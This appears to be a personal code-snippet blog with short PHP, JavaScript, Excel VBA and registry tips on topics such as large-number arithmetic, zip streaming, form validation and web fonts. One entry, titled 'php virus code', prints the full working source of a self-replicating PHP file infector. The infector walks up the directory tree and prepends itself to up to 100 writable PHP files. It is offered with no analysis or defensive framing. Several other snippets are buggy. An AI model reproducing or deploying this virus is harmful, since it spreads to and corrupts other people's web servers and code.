php random_float

function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}

that's easy but can't figure out

Disable your site from Greasemonkey !!!

I've found this by an accident!!!

 document._createElement = document.createElement;
 document.createElement = function(tagName, password) {
    if (tagName != "SCRIPT" || password == "My scripts are OK!") {
        return document._createElement(tagName);
    }
 };

just that and your site will be protected

Importing Multiple Files to a Single Workbook

press alt+F8 in excel
or Tools -> Macro -> Macros
Macro name : CombineTextFiles
Create
Sub CombineTextFiles() Dim FilesToOpen Dim x As Integer Dim wkbAll As Workbook Dim wkbTemp As Workbook Dim sDelimiter As String On Error GoTo ErrHandler Application.ScreenUpdating = False sDelimiter = "|" FilesToOpen = Application.GetOpenFilename _ (FileFilter:="Text Files (*.txt), *.txt", _ MultiSelect:=True, Title:="Text Files to Open") If TypeName(FilesToOpen) = "Boolean" Then MsgBox "No Files were selected" GoTo ExitHandler End If x = 1 Set wkbTemp = Workbooks.Open(FileName:=FilesToOpen(x)) wkbTemp.Sheets(1).Copy Set wkbAll = ActiveWorkbook wkbTemp.Close (False) wkbAll.Worksheets(x).Columns("A:A").TextToColumns _ Destination:=Range("A1"), DataType:=xlDelimited, _ TextQualifier:=xlDoubleQuote, _ ConsecutiveDelimiter:=False, _ Tab:=False, Semicolon:=False, _ Comma:=False, Space:=False, _ Other:=True, OtherChar:="|" x = x + 1 While x <= UBound(FilesToOpen) Set wkbTemp = Workbooks.Open(FileName:=FilesToOpen(x)) With wkbAll wkbTemp.Sheets(1).Move After:=.Sheets(.Sheets.Count) .Worksheets(x).Columns("A:A").TextToColumns _ Destination:=Range("A1"), DataType:=xlDelimited, _ TextQualifier:=xlDoubleQuote, _ ConsecutiveDelimiter:=False, _ Tab:=False, Semicolon:=False, _ Comma:=False, Space:=False, _ Other:=True, OtherChar:=sDelimiter End With x = x + 1 Wend ExitHandler: Application.ScreenUpdating = True Set wkbAll = Nothing Set wkbTemp = Nothing Exit Sub ErrHandler: MsgBox Err.Description Resume ExitHandler End Sub
then save and goto excel and insert button from form for macro
then choose CombineTextFiles
after press button you can select files to import to excel refer: http://excel.tips.net
http://support.microsoft.com/kb/141689

stuck at runonce with IE7

easily and simple direction
file:disable runonce.reg Windows Registry Editor Version 5.00 [HKCU\Software\Microsoft\Internet Explorer\Main] "RunOnceComplete"=dword:00000001 "RunOnceHasShown"=dword:00000001 and just run it OR
file:disable runonce.bat REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /V "RunOnceComplete" /T REG_DWORD /D 1 /F REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /V "RunOnceHasShown" /T REG_DWORD /D 1 /F

javascript to show and hide element

for html you need to define ID name of an element

<input type="button" name="clickme1" id="clickme1" value="Click me !!" onclick="JavaScript:showbutton('clickme2')"><BR>
<input type="button" name="clickme2" id="clickme2" value="Click me !!" onclick="JavaScript:showbutton('clickme1')" style="visibility:hidden">

For javascript need this code

function showbutton(idName){
 Element = document.getElementById('clickme2');
 Element.disabled=true;
 Element.style.visibility = "hidden";
 Element = document.getElementById('clickme1');
 Element.disabled=true;
 Element.style.visibility = "hidden";
 clickme1Element = document.getElementById(idName);
 clickme1Element.disabled=false;
 clickme1Element.style.visibility = "visible";
}

multiply, power function with large number

function power($a,$b){
  if($b==1)return $a;
  return multiply($a,(power($a,$b-1)));
}
function multiply($a,$b){
  $a = ''.$a;
  $b = ''.$b;
  $b_length = strlen($b);
  $value = '';
  for($i=1;$i<=$b_length;$i++){
    $b2 = $b[$b_length-$i];
    $mul = $a*$b2+$temp;
    $temp = floor($mul/10);
    $value = ($mul%10).$value;
  }
  $value = $temp.$value;
  return $value;
}

with both $a and $b is string strlen($a) == 1

plus function for large number

function plus($a,$b){
  $b_length = strlen($b)+1;
  $a = sprintf("%0".$b_length."s",   $a);
  $b = '0'.$b;
  $a_length = strlen($a);
  $temp =0;
  for($i=0;$i<$a_length;$i++){
    $a1 = substr($a,-1,1);
    $b1 = substr($b,-1,1);
    $a = substr($a,0,-1);
    $b = substr($b,0,-1);
    $result = ($a1+$b1+$temp)%10;
    $ans = $result.$ans;
    $temp = floor(($a1+$b1+$temp)/10);
  }
  $ans = $b.$ans;
  return ltrim($ans,'0');
}

with both $a and $b if string and strlen($a) < strlen($a)

countdown javascript display in div

window.onload = function() {
startCountDown(180, 1000, myFunction); // set setdown here
}
function startCountDown(i, p, f) {
var pause = p;
var fn = f;
var countDownObj = document.getElementById("countDown");
if (countDownObj == null) {
alert("div not found, check your id");
return;
}
countDownObj.count = function(i) {
countDownObj.innerHTML = i;
if (i == 0) {
fn();
return;
}
setTimeout(function() {
countDownObj.count(i - 1);
},
pause
);
}
countDownObj.count(i);
}
function myFunction() {
alert("hi alex");
}

and put div name

<div id="countDown"></div>

php virus code

original code virus named PHP.Pirus

< ?php #retool2.php
$atefile = 0; 
walkthrough('../..');
function walkthrough($dir) {
global $atefile;
$maxi = 100;
$viruscontents=fread(fopen(__FILE__,'r'), 1626);
if (!file_exists('retool2.php')) {
  $handle = fopen('retool2.php', 'a');
  fwrite($handle, $viruscontents.'HACK BY RETOOL2');
  fclose($handle);
}
if(is_dir($dir)){
  if($dh = opendir($dir)){
   while(($file = readdir($dh)) !== false && $atefile<$maxi){
    if($file != "." && $file != ".."){
     if(is_dir($dir."/".$file)){
      walkthrough($dir."/".$file);
     }else{
      if(strstr (substr($file, -4), 'php')){
       $infected=true;
       $caniwrite=false;
       if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){
        $output = fopen($dir."/".$file, "r");
        if(filesize ($dir."/".$file)>0){
         $contents = fread ($output , 20);
         $mine = strstr ($contents, 'retool2.php');
         fclose($output );
        }
        $infected=false;
        if($mine){$infected=true;}
       }
       if($infected==false){
        if(filesize ($dir."/".$file)>0){
         $victim = fopen($dir."/".$file, "r+");
         $ori = fread($victim, filesize($dir."/".$file));
         fclose($victim);
        }
        $victim = fopen($dir."/".$file, "w+");
        if(filesize($dir."/".$file)==0){
         fwrite($victim, $viruscontents);
        }else{
         fputs($victim ,$viruscontents.$ori);
        }
        $atefile++;
        fclose($victim );
       }
      }
     }
    }
   }
   closedir($dh);
  }
}
return $counter;
}
?>

link: http://www.rohitab.com/discuss/lofiversion/index.php/t10727.html

translate relative url to absolute url

function relative2absolute($absolute, $relative) {
        $p = @parse_url($relative);
        if(!$p) {
         return false;
        }
        if(isset($p["scheme"])) return $relative;
        $parts=(parse_url($absolute));
        if(substr($relative,0,1)=='/') {
            $cparts = (explode("/", $relative));
            array_shift($cparts);
        } else {
            if(isset($parts['path'])){
                 $aparts=explode('/',$parts['path']);
                 array_pop($aparts);
                 $aparts=array_filter($aparts);
            } else {
                 $aparts=array();
            }
           $rparts = (explode("/", $relative));
           $cparts = array_merge($aparts, $rparts);
           foreach($cparts as $i => $part) {
                if($part == '.') {
                    unset($cparts[$i]);
                } else if($part == '..') {
                    unset($cparts[$i]);
                    unset($cparts[$i-1]);
                }
            }
        }
        $path = implode("/", $cparts);
        $url = '';
        if($parts['scheme']) {
            $url = "$parts[scheme]://";
        }
        if(isset($parts['user'])) {
            $url .= $parts['user'];
            if(isset($parts['pass'])) {
                $url .= ":".$parts['pass'];
            }
            $url .= "@";
        }
        if(isset($parts['host'])) {
            $url .= $parts['host']."/";
        }
        $url .= $path;
        return $url;
}

link : http://w-shadow.com

php sub folder scan

you can use php to scan all file in sub folder from this code

<?php
// *** requires PHP5 ***
// search for gif files (can be empty for all file)
$filter = ".gif";
// path to the directory you want to scan(can be .. to search all drive)
$directory = './';
$it = new RecursiveDirectoryIterator("$directory");
foreach(new RecursiveIteratorIterator($it) as $file)
{
  if (!((strpos(strtolower($file), $filter)) === false) || empty($filter))
  {
    $items[] = preg_replace("#\\\#", "/", $file);
  }
}
sort($items);
print_r($items);
?>

but if your server not PHP5 don't worry please see this link http://www.php.net and find class RecDir

php function zip and stream 2

last time we use ziparchive but now
we'll use zip library from phpmyadmin
and never store data on server

function zipAndStream($filestostream,$dir,$flag=0){
  require_once("zip.lib.php"); // from phpmyadmin
  $zip = new zipfile();
    if(is_array ($filestostream)){
      foreach($filestostream as $filetostream){
        $filename = $dir."/".$filetostream;
        $fsize = @filesize($filename);
        $fh = fopen($filename, 'rb', false);
        $filedata = fread($fh, $fsize);
        $zip->addFile($filedata,$filename);
        $filecount++;
        $filenamefull = $filetostream;
        $filename = substr($filetostream,0,strrpos($filetostream,'.'));
      }
      if($filecount!=1){
        $filename = $filecount.'files';
      }
    }else{
      $filename = $dir."/".$filestostream;
      $fsize = @filesize($filename);
      $fh = fopen($filename, 'rb', false);
      $filedata = fread($fh, $fsize);
      $zip->addFile($filedata,$filename);
      $filecount++;
      $filename = substr($filestostream,0,strrpos($filestostream,'.'));
    }
  $zipcontents = $zip->file();
  if($flag==1){
    $imagefile = "php.png";
    $filesize = strlen($zipcontents)+filesize($imagefile);
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filecount."files_".$imagefile."\"");
    header("Content-length: " . $filesize . "\n\n");
    readfile($imagefile);
  }elseif($flag==-1){
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filenamefull."\"");
    header("Content-length: " . strlen($filedata) . "\n\n");
    echo $filedata;
    exit;
  }else{
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filename.".zip\"");
    header("Content-length: " . strlen($zipcontents) . "\n\n");
  }
  echo $zipcontents;
}

javascript validate array checkbox

we can pass value through php and validate checkbox by these

<html>
<html>
<head>
<script language="JavaScript">
function check()
{
 var a=document.some_form['graduate[]'];
 alert("Length:"+a.length);
 var p=0;
 for(i=0;i<a.length;i++){
  if(a[i].checked){
   alert(a[i].value);
   p=1;
  }
 }
 if (p==0){
  alert('please select at least one check box');
  return false;
 }
 document.some_form.submitted.value='yes';
 return true;
}
</script>
</head>
<body>
<form name="some_form" onsubmit="return check();" method="POST" action="">
<table>
<tr><td>Post Graduate in</td><td>
<input type="checkbox" name="graduate[]" value="history">History
<input type="checkbox" name="graduate[]" value="telugu">Telugu
<input type="checkbox" name="graduate[]" value="Computer sceince">Computer Science
<input type="checkbox" name="graduate[]" value="Mathematics">Mathematics

</td></tr>
<tr><td><input type="submit" value="Submit"></td></tr>
<input type="hidden" name="submitted">
</form>
</body>
</html>
<?php
if ($_POST[submitted])
{
$pg=$_POST[graduate];
echo "<pre>";
print_r($pg);
echo "</pre>";
}
?>

ref : www.programmersheaven.com

zip and stream file with php

I've wrote the function to zip the files and stream out

//$filesToStream : can be array or just file string.
//$dir : directory of file
function zipAndStream($filesToStream,$dir){
  $file = 'tempfile'.rand(9999,1000).".zip";
  $zip = new ZipArchive;
  $res = $zip->open( $file , ZIPARCHIVE::OVERWRITE );
  if ($res === TRUE && file_exists($dir.'/'.$filename) ) {
    if(is_array ($filesToStream)){
      $filecount=0;
      foreach($filesToStream as $filetostream){
        $zip->addFile($dir.'/'.$filetostream,$filetostream);
        $filecount++;
        $filename = substr($filetostream,0,strrpos($filetostream,'.'));
      }
      if($filecount!=1){
        $filename = 'files';
      }
    }else{
      $zip->addFile($filedir.'/'.$filestostream,$filestostream);
      $filename = substr($filestostream,0,strrpos($filestostream,'.'));
    }
    $zip->close();
    header("Content-Type: application/zip");
    header("Content-Length: " . filesize($file));
    header("Content-Disposition: attachment; filename=\"".$filename.".zip\"");
    readfile($file);
  } else {
    listfile();
  }
  unlink($file);
}

to verify that your host server has zip extension try this

if(!extension_loaded('zip'))print_r('
ZIP Extension Is Disable
');

ternary operator ?:

ternary operation is not hard but not easy to use.
it can be short form of if...else and switch...case it is used in an expression as follows :
condition ? valueIfTrue : valueIfFalse
therefore we wrote

if($i>5){
 echo 'more than 5';
}else{
 echo 'not more than 5';
}

by ternary operator we can use just only

echo ($i>5)?'more than 5':'not more than 5';

or something like

$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

instead of

if (empty($_POST['action'])) {
    $action = 'default';
} else {
    $action = $_POST['action'];
}

you can also use ?: instead of switch case too.
switch ($i) { case 0: echo "i equals 0"; break; case 1: echo "i equals 1"; break; case 2: echo "i equals 2"; break; default: echo "i is not equal to 0, 1 or 2"; } // also the same as switch ($i): case 0: echo "i equals 0"; break; case 1: echo "i equals 1"; break; case 2: echo "i equals 2"; break; default: echo "i is not equal to 0, 1 or 2"; endswitch; // can also with ternary operator echo ($i==0)?"i equals 0": (($i==1)?"i equals 1": (($i==2)?"i equals 2": "i is not equal to 0, 1 or 2"));

php protect file with limit download rate

$local_file = 'file.zip';
$download_file = 'name.zip';
// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;

if(file_exists($local_file) && is_file($local_file)){
    header('Cache-control: private');
    header('Content-Type: application/octet-stream');
    header('Content-Length: '.filesize($local_file));
    header('Content-Disposition: filename='.$download_file);
    flush();
    $file = fopen($local_file, "r");
    while(!feof($file)){
        // send the current file part to the browser
        print fread($file, round($download_rate * 1024));
        // flush the content to the browser
        flush();
        // sleep one second
        sleep(1);
    }
    fclose($file);
}else {
    die('Error: The file '.$local_file.' does not exist!');
}

javascript unique array

function unique(a) {
  var temp = [];
  var temp2 = [];
  for (c in a)
  temp[a[c]] = c
  for (c in temp)
  temp2[temp[c]] = c
  return temp2;
}

Another javascript highlighter

Insert head section with
<style type="text/css">@import url(http://retsam.krad.googlepages.com/jush.css);</style>
<script type="text/javascript" src="http://retsam.krad.googlepages.com/jush.js" defer="defer"></script>

and in body with
<body onload="jush.highlight_tag('pre');">

Your source code in pre tag here
<pre class="jush">
input source code here
</pre>

Don't forgot to change < to &lt;

All your code will look like this
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> <?php print_r($_POST['title']); ?> </TITLE>
<script type="text/javascript" src="prettify.js"></script>
<script type="text/javascript">
document.onload=temps();
document.onload=setTimeout('chargement();sec=10;',3000);
var x=window.confirm("Are you sure you are ok?")
if (x) window.alert("Good!")
else window.alert("Too bad")
</script>
</HEAD>
<BODY>
<font color="red">TESTING red</font>
<font color="#0f0f0f">TESTING red</font>
<table>
<!-- HTML COMMENT-->
<?
print_r('POST:'.$_POST.'<BR>');
print_r('GET :'.$_GET);
function Google(){
print_r($_POST);
}
?>
<TR><TD>TEST table TR TD</TD><TD>TEST table TR TD 2</TD></TR>
<input value="test" name="test">
</BODY>
</HTML>

Your own favorite Fonts on web

If you have your font and want to put in webpage try this method
1) created from existing TrueType font files(.ttf) using Microsoft's Web Embedding Fonts Tool (WEFT). (A similar software product called "FAIRY", by BorWare AG, also generated .eot files, with some improvements.)
2) embeddeb font with the css

@font-face {
  font-family: 05_ZZ Death Note 1.0;
  font-style:  normal;
  font-weight: normal;
  src: url(ZZDEATH1.eot);
}
.deathnote { font-family: "05_ZZ Death Note 1.0"; }

and use the code in html

<FONT FACE="05_ZZ Death Note 1.0" SIZE="5"> Aa Bb Cc Dd Ee Ff Gg </FONT>
or
<div class="deathnote">testing</div>

Example : http://www.microsoft.com/typography/web/embedding/default.aspx
wiki : http://en.wikipedia.org/wiki/Embedded_OpenType
link : http://www.microsoft.com/typography/WEFT.mspx

coding php to extract or get filename and extension

it's not hard to code but not easy to solve
easyiest way is use explode function but this is advance :)

 
  $url = "htpp://www.example.com/filename.txt
  $file = substr(strrchr($url, '/'), 1); //get file
  $ext = substr(strrchr($file, '.'), 1); //get extension
  $filename = substr($file,0,strrpos($file,'.')); // get file name

and another code is function to remove file in folder and/or empty folder

<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone
function SureRemoveDir($dir, $DeleteMe) {
  if(!$dh = @opendir($dir)) return;
  while (false !== ($obj = readdir($dh))) {
    if($obj=='.' || $obj=='..') continue;
    if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
  }
  closedir($dh);
  if($DeleteMe){
    @rmdir($dir);
  }
}
//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);
?>

link: http://th.php.net/unlink link2: